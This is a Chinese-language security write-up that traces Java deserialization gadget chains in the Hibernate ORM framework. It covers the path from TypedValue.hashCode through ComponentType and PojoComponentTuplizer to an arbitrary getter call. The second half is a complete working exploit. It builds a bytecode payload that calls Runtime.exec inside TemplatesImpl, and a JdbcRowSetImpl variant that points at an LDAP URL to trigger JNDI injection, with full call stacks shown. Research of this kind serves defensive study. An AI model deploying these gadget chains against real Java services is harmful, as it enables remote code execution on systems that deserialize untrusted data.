深究Java Hibernate框架下的Deserialization

写在前面

Hibernate是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说，Hibernate 是一个用来连接和操作数据库的 Java
框架，它最大的优点是使用了 ORM 技术。

Hibernate 支持几乎所有主流的关系型数据库，只要在配置文件中设置好当前正在使用的数据库，程序员就不需要操心不同数据库之间的差异。

分析

对于Hibernate框架的反序列化链主要是通过调用了任意的getter方法，结合TemplatesImpl这条链子进行利用链的构造。

BasicPropertyAccessor

在该框架中存在有org.hibernate.property.PropertyAccessor这个接口

我们从这个注释可以知道，定义了一个类的属性值的相关策略

在接口中的定义了两个方法，分别为getGetter``getSetter方法

该接口的实现类是BasicPropertyAccessor

定义了两个实现类BasicGetter/ BasicSetter

主要来看看BasicGetter类

首先，在其构造方法中传入了三个参数，分别是目标类，目标方法，目标属性。

同时关注get方法的实现，将会触发目标的method方法，这里就是漏洞点。

那么这个Getter又是从何而来的呢？

我们可以关注到BasciPropertyAccessor类对getSetter方法的重写

在getSetter方法中将会调用createGetter方法，进而调用了getGetterOrNull方法。

在该方法中，将会通过getterMethod方法得到对应属性的getter方法名，如果存在的话，将会将其封装为BasicGetter对象进行返回。

那我们跟进一下getterMethod方法

首先在该方法中将会调用theClass.getDeclaredMethods方法得到目标类的所有存在的方法，之后遍历这些方法，如果该方法参数个数不为零就跳过，获取方法返回Bridge也会跳过，之后在获取该方法名之后，判断是否是get开头，如果是，将会进行比对处理之后返回这个方法。

就这样得到了对应的Getter方法，而想要调用，还需要使用他的get方法。

那么又是在哪里调用了其get方法的呢？

AbstractComponentTuplizer

答案就这个类中

类中存在一个getPropertyValue方法

将会遍历调用getters属性中的get方法

我们看看getters属性是个啥

他是一个Getter对象数组，正好了，上面返回了一个Getter方法，可以反射写入这个数组中，在getPropertyValue方法中调用其get方法，达到利用链的触发。

但是值得注意的是AbstractComponentTuplizer是一个抽象类，我们寻找一下他的子类。

存在有两个子类，DynamicMapComponentTuplizer类和PojoComponentTuplizer类一个是处理映射为Map对象，一个映射为JAVA实体。

我们可以发现在PojoComponentTuplizer类中存在有getPropertyValues方法。

且能够调用父类的getPropertyValues方法，

那么这个类方法又是在何处存在调用。

TypedValue

通过Uage的搜索，发现在org.hibernate.type.ComponentType#getPropertyValue存在有相关方法的调用。

这条链子的关键点还是在org.hibernate.engine.spi.TypedValue类中

在其构造方法中传入了Type和Object对象的映射，在上面提到的ComponentType同样实现了Type接口

在构造方法中除了赋值，还调用了initTransients方法。

创建了一个 ValueHolder 对象，并为其赋予了一个新的 DeferredInitializer 对象并重写了initialize()方法。

之后将其赋予给hashCode属性，

我们可以关注到反序列化入口点，

在hashCode方法中调用了初始化赋值的hashCode属性的getValue方法。

即是调用了ValueHolder#getValue方法，

在这里将会调用之前初始化时重写的initialize方法，

如果此时的type是ComponentType就将会调用它的getHashCode方法，

最终调用了getPropertyValue方法形成了利用链。

利用构造

Hibernate1

同样的，首先创建一个TemplatesImpl对象

//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

之后获取对应的getter

// 创建 BasicGetter 实例，用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), method, "outputProperties");

之后我们需要触发getter的get方法，根据前面的分析，我们可以知道是通过调用org.hibernate.tuple.component.PojoComponentTuplizer类触发get的调用。

所以我们创建一个实例并反射写入数据

Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);
// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

完整的POC

package pers.hibernate;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import pers.util.SerializeUtil;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class Hibernate1 {

    public static void main(String[] args) throws Exception {

        Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
        Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


        //动态创建字节码
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
        SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

        Object getter;
        try {
            // 创建 GetterMethodImpl 实例，用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            getter = constructor.newInstance(null, null, method);
        } catch (Exception ignored) {
            // 创建 BasicGetter 实例，用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
            constructor.setAccessible(true);
            getter = constructor.newInstance(templates.getClass(), method, "outputProperties");
        }

        // 创建 PojoComponentTuplizer 实例，用来触发 Getter 方法
        Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);

        // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
        field.setAccessible(true);
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        field.set(tuplizer, getters);

        // 创建 ComponentType 实例，用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
        Object type = SerializeUtil.createWithoutConstructor(componentTypeClass);

        // 反射将相关值写入，满足 ComponentType 的 getHashCode 调用所需条件
        Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
        field1.setAccessible(true);
        field1.set(type, tuplizer);

        Field field2 = componentTypeClass.getDeclaredField("propertySpan");
        field2.setAccessible(true);
        field2.set(type, 1);

        Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
        field3.setAccessible(true);
        field3.set(type, new Type[]{(Type) type});

        // 创建 TypedValue 实例，用来触发 ComponentType 的 getHashCode 方法
        TypedValue typedValue = new TypedValue((Type) type, null);

        // 创建反序列化用 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(typedValue, "su18");

        // put 到 hashmap 之后再反射写入，防止 put 时触发
        Field valueField = TypedValue.class.getDeclaredField("value");
        valueField.setAccessible(true);
        valueField.set(typedValue, templates);

        ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap);
        SerializeUtil.readObject(byteArrayOutputStream);
    }
}

解释一下其中try catch句中是因为

在不同版本中，由于部分类的更新交替，利用的 Gadget 细节则不同。ysoserial 中也根据不同情况给出了需要修改的利用链：

使用org.hibernate.property.access.spi.GetterMethodImpl替代org.hibernate.property.BasicPropertyAccessor$BasicGetter。

使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping来对
PojoComponentTuplizer 进行封装

调用栈

exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:102, Hibernate1 (pers.hibernate)

Hibernate2

上一条链是通过触发TemplatesImpl类的getOutputProperties方法触发的。

这条链就是通过JdbcRowSetImpl这条链触发JNDI注入，

细节在fastjson的利用链中就讲过了，可以找一下我的文章。

因为我们能够触发任意的getter方法，所以我们可以通过调用getDatabaseMetaData方法。

进而调用connect方法触发漏洞，

POC的构造也很简单，只需要将前面创建TemplatesImpl对象的部分改为创建JdbcRowSetImpl 类对象。

JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");

调用链

exec:347, Runtime (java.lang)
<clinit>:-1, ExecTemplateJDK8
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:91, VersionHelper12 (com.sun.naming.internal)
loadClass:106, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:88, Hibernate2 (pers.hibernate)

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